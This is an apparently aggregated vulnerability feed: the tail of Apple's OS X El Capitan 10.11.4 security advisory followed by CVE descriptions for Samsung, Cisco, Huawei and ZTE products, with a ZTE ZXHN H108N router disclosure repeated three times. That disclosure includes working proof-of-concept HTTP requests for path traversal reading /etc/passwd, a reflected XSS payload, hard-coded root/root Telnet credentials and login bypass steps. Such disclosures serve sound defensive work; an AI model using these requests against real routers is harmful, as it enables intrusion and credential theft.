out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1758 : Brandon Azad Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple integer overflows were addressed through improved input validation. CVE-ID CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to cause a denial of service Description: A denial of service issue was addressed through improved validation. CVE-ID CVE-2016-1752 : CESG libxml2 Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing maliciously crafted XML may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2015-1819 CVE-2015-5312 : David Drysdale of Google CVE-2015-7499 CVE-2015-7500 : Kostya Serebryany of Google CVE-2015-7942 : Kostya Serebryany of Google CVE-2015-8035 : gustavo.grieco CVE-2015-8242 : Hugh Davenport CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1762 Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker who is able to bypass Apple's certificate pinning, intercept TLS connections, inject messages, and record encrypted attachment-type messages may be able to read attachments Description: A cryptographic issue was addressed by rejecting duplicate messages on the client. CVE-ID CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk, Ian Miers, and Michael Rushanan of Johns Hopkins University Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a JavaScript link can reveal sensitive user information Description: An issue existed in the processing of JavaScript links. This issue was addressed through improved content security policy checks. CVE-ID CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox NVIDIA Graphics Drivers Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1741 : Ian Beer of Google Project Zero OpenSSH Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Connecting to a server may leak sensitive user information, such as a client's private keys Description: Roaming, which was on by default in the OpenSSH client, exposed an information leak and a buffer overflow. These issues were addressed by disabling roaming in the client. CVE-ID CVE-2016-0777 : Qualys CVE-2016-0778 : Qualys OpenSSH Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5 Impact: Multiple vulnerabilities in LibreSSL Description: Multiple vulnerabilities existed in LibreSSL versions prior to 2.1.8. These were addressed by updating LibreSSL to version 2.1.8. CVE-ID CVE-2015-5333 : Qualys CVE-2015-5334 : Qualys OpenSSL Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to cause a denial of service Description: A memory leak existed in OpenSSL versions prior to 0.9.8zh. This issue was addressed by updating OpenSSL to version 0.9.8zh. CVE-ID CVE-2015-3195 Python Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2014-9495 CVE-2015-0973 CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted FlashPix Bitmap Image may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1767 : Francis Provencher from COSIG CVE-2016-1768 : Francis Provencher from COSIG QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted Photoshop document may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1769 : Francis Provencher from COSIG Reminders Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a tel link can make a call without prompting the user Description: A user was not prompted before invoking a call. This was addressed through improved entitlement checks. CVE-ID CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of Laurent.ca Ruby Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local attacker may be able to cause unexpected application termination or arbitrary code execution Description: An unsafe tainted string usage vulnerability existed in versions prior to 2.0.0-p648. This issue was addressed by updating to version 2.0.0-p648. CVE-ID CVE-2015-7551 Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to check for the existence of arbitrary files Description: A permissions issue existed in code signing tools. This was addressed though additional ownership checks. CVE-ID CVE-2016-1773 : Mark Mentovai of Google Inc. Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-ID CVE-2016-1950 : Francis Gabriel of Quarkslab Tcl Available for: OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by removing libpng. CVE-ID CVE-2015-8126 : Adam Mariš TrueTypeScaler Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day Initiative (ZDI) Wi-Fi Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker with a privileged network position may be able to execute arbitrary code Description: A frame validation and memory corruption issue existed for a given ethertype. This issue was addressed through additional ethertype validation and improved memory handling. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher OS X El Capitan 10.11.4 includes the security content of Safari 9.1. https://support.apple.com/kb/HT206171 OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained from the Mac App Store or Apple's Software Downloads web site: http://www.apple.com/support/downloads/ Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJW8JQFAAoJEBcWfLTuOo7tZSYP/1bHFA1qemkD37uu7nYpk/q6 ARVsPgME1I1+5tOxX0TQJgzMBmdQsKYdsTiLpDk5HTuv+dAMsFfasaUItGk8Sz1w HiYjSfVsxL+Pjz3vK8/4/fsi2lX6472MElRw8gudITOhXtniGcKo/vuA5dB+vM3l Jy1NLHHhZ6BD2t0bBmlz41mZMG3AMxal2wfqE+5LkjUwASzcvC/3B1sh7Fntwyau /71vIgMQ5AaETdgQJAuQivxPyTlFduBRgLjqvPiB9eSK4Ctu5t/hErFIrP2NiDCi UhfZC48XbiRjJfkUsUD/5TIKnI+jkZxOnch9ny32dw2kUIkbIAbqufTkzsMXOpng O+rI93Ni7nfzgI3EkI2bq+C+arOoRiveWuJvc3SMPD5RQHo4NCQVs0ekQJKNHF78 juPnY29n8WMjwLS6Zfm+bH+n8ELIXrmmEscRztK2efa9S7vJe+AgIxx7JE/f8OHF i9K7UQBXFXcpMjXi1aTby/IUnpL5Ny4NVwYwIhctj0Mf6wTH7uf/FMWYIQOXcIfP Izo+GXxNeLd4H2ypZ+UpkZg/Sn2mtCd88wLc96+owlZPBlSqWl3X1wTlp8i5FP2X qlQ7RcTHJDv8jPT/MOfzxEK1n/azp45ahHA0o6nohUdxlA7PLci9vPiJxqKPo/0q VZmOKa8qMxB1L/JmdCqy =mZR+ -----END PGP SIGNATURE-----

LibQJpeg in the Samsung Galaxy S6 before the October 2015 MR allows remote attackers to cause a denial of service (memory corruption and SIGSEGV) via a crafted image file. Samsung Galaxy S6 Contains a buffer error vulnerability.Service operation interruption (DoS) There is a possibility of being put into a state. Samsung LibQjpeg is prone to a remote memory-corruption vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected applications. Failed exploit attempts will likely cause a denial-of-service condition

The media scanning functionality in the face recognition library in android.media.process in Samsung Galaxy S6 Edge before G925VVRU4B0G9 allows remote attackers to gain privileges or cause a denial of service (memory corruption) via a crafted BMP image file. Samsung Galaxy S6 Edge is a smartphone released by South Korea's Samsung. A remote attacker can leverage this issue to execute arbitrary code in the context of the user running the application. Failed exploit attempts may result in a denial-of-service condition

The DCMProvider service in Samsung LibQjpeg on a Samsung SM-G925V device running build number LRX22G.G925VVRU1AOE2 allows remote attackers to cause a denial of service (segmentation fault and process crash) and execute arbitrary code via a crafted JPG. Samsung SM-G925V The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Samsung LibQjpeg is prone to a remote memory-corruption vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected applications. Failed exploit attempts will likely cause a denial-of-service condition. Samsung Galaxy S6 is a smart phone released by South Korea's Samsung (Samsung). Samsung LibQjpeg is one of the image decoding libraries

Cross-site scripting (XSS) vulnerability in the WeChat page in Cisco Social Miner 10.0(1) allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka Bug ID CSCuw60212. Cisco SocialMiner of WeChat The page contains a cross-site scripting vulnerability. Vendors have confirmed this vulnerability Bug ID CSCuw60212 It is released as.By any third party Web Script or HTML May be inserted. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCuw60212. Cisco SocialMiner is a set of social media call center solutions from Cisco. The solution supports social media monitoring and analysis capabilities

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE and ZXV10 W300 devices W300V1.0.0f_ER1_PE allow remote authenticated users to bypass intended access restrictions, and discover credentials and keys, by reading the configuration file, a different vulnerability than CVE-2015-7248. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks

The GPU driver in Huawei P7 phones with software P7-L00 before P7-L00C17B851, P7-L05 before P7-L05C00B851, and P7-L09 before P7-L09C92B851 allows local users to read or write to arbitrary kernel memory locations and consequently cause a denial of service (system crash) or gain privileges via a crafted application. HuaweiP7 is a smartphone from China's Huawei company. GPUdriver is a graphics processor driver used in it. The GPU driver in HuaweiP7 has a privilege escalation vulnerability that stems from the GPU's failure to adequately verify the validity of incoming parameters. A local attacker can use this vulnerability to spoof a user to install a malicious application to read and modify the memory address of the product, causing a system crash or privilege escalation. Huawei P7 is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to gain elevated privileges. The following versions are affected: Huawei P7 versions prior to P7-L00C17B851, versions prior to P7-L05C00B851, versions prior to P7-L09C92B851

Cross-site scripting (XSS) vulnerability in cgi-bin/webproc on ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allows remote attackers to inject arbitrary web script or HTML via the errorpage parameter. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A ZTE.bhs.ZXHNH108NR1A.h_PE version of webproc cgi failed to properly handle the 'errorpage' parameter, allowing remote attackers to exploit malicious scripts to inject malicious scripts or HTML code to obtain sensitive information or hijack when malicious data is viewed User session. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. There is a cross-site scripting vulnerability in the cgi-bin/webproc URI of ZTE ZXHN H108N R1A ZTE.bhs.ZXHNH108NR1A.h_PE and earlier versions. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

Absolute path traversal vulnerability in cgi-bin/webproc on ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allows remote attackers to read arbitrary files via a full pathname in the getpage parameter. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE have a hardcoded password of root for the root account, which allows remote attackers to obtain administrative access via a TELNET session. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. In addition, JVNVU#91514956 Then CWE-798 It is published as CWE-798: Use of Hard-coded Credentials http://cwe.mitre.org/data/definitions/798.htmlBy a third party TELNET Administrative access may be gained through the session. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. When the system enables the Telnet service, the remote attacker can exploit the vulnerability to fully control the device. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen